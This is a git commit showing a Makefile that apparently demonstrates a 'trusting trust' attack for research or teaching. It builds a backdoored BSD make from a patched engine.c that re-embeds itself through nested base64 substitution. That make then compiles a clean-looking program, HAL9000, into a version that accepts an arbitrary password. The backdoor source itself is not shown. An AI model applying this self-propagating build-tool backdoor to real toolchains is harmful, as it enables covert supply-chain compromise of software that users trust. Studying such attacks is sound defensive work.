This commit is contained in:
Samuel Aubertin
2022-09-14 12:56:21 +02:00
commit b7fc6a248f
9 changed files with 1293 additions and 0 deletions

View File

@@ -0,0 +1,80 @@
TEMP!?= mktemp -d /tmp/evil-XXXXXX
LEGIT_SRC= /usr/src/usr.bin/make
LEGIT_BIN= /usr/bin/make
BACKDOOR_SRC= make-src-backdoor
BACKDOOR_BIN= make-bin-backdoor
PATCH= $(TEMP)/backdoor.patch
HALSRC= HAL9000SRC
HAL= ./HAL9000
BACKDOORED_HAL= ./HAL9000-backdoored
PASS?!= openssl rand 12 | base64
.PHONY: clean diff
#.SILENT:
all: $(HAL) $(BACKDOORED_HAL)
echo "\033[94m5 - Trying \033[3m$(HAL)\033[23m with\033[36m" $(PASS)
echo $(PASS) | $(HAL) || true
echo "\033[94m6 - Trying \033[3m$(BACKDOORED_HAL)\033[23m with\033[36m" $(PASS)
echo $(PASS) | $(BACKDOORED_HAL)
$(HAL): $(HALSRC)
echo "\033[94m1 - Compiling HAL9000 with legit make from legit source\033[0m"
$(MAKE) -C $(HALSRC)
cp $(HALSRC)/$(HAL) $@
echo "\033[94m HAL9000 = \033[3m$@\033[0m"
$(MAKE) -C $(HALSRC) clean
$(BACKDOORED_HAL): $(BACKDOOR_BIN) $(HALSRC)
sleep 1
echo "\033[94m4 - Compiling HAL9000-backdoored with binary-backdoor-make from legit source\033[0m"
#@while ! $(BACKDOOR_BIN) -C $(HALSRC) 2> /dev/null; do true; done
$(BACKDOOR_BIN) -C $(HALSRC)
cp $(HALSRC)/$(HAL) $@
echo "\033[94m HAL9000-backdoored = \033[3m$@\033[0m"
$(MAKE) -C $(HALSRC) clean
$(HALSRC):
git clone https://gitlab.eurecom.fr/aubertin/hal9000.git $@
$(TEMP)/Makefile:
cp -r $(LEGIT_SRC)/* $$(dirname $@)
$(PATCH):
diff -d engine.c $(LEGIT_SRC)/engine.c > $@ || true
sed "s|__DIFF__|$$(cat $@ | base64 -e | tr -d '\n\r')|g" $@ > $@.1
sed "s|__DIFF__|$$(cat $@.1 | base64 -e | tr -d '\n\r')|g" $@ > $@.2
sed "s|__DIFF__|$$(cat $@.2 | base64 -e | tr -d '\n\r')|g" $@ > $@.3
$(TEMP)/$(BACKDOOR_SRC): $(PATCH) $(TEMP)/Makefile
patch -d $(TEMP) -s -R engine.c $(PATCH).3
$(MAKE) -C $(TEMP) -s clean
echo "\033[94m2 - Compiling $@ with legit make from evil source\033[0m"
$(MAKE) -C $(TEMP) -s
echo "\033[94m make with source backdoor = \033[3m$@\033[0m"
$(BACKDOOR_BIN): $(TEMP)/$(BACKDOOR_SRC)
echo "\033[94m3 - Compiling $@ with source-backdoor-make from legit source\033[0m"
$(MAKE) -C $(LEGIT_SRC) -s clean
$(TEMP)/make -s -C $(LEGIT_SRC)
mv $(LEGIT_SRC)/make $@
echo "\033[94m make with binary backdoor = \033[3m$@\033[0m"
$(LEGITMK):
echo "\033[94m3 - Compiling legit make with system make from legit source\033[0m"
$(MAKE) -C $(LEGIT_SRC) -s clean
$(TEMP)/make -s -C $(LEGIT_SRC)
mv $(LEGIT_SRC)/make $@
echo "\033[94m legit make = \033[3m$@\033[0m"
diff:
pkg_add -I radare2
radiff2 -a x86 -A -d -D $(TEMP) $(LEGIT_BIN)
clean:
rm -rf /tmp/evil-?????? $(HAL) $(BACKDOORED_HAL)
$(MAKE) -C $(LEGIT_SRC) -s clean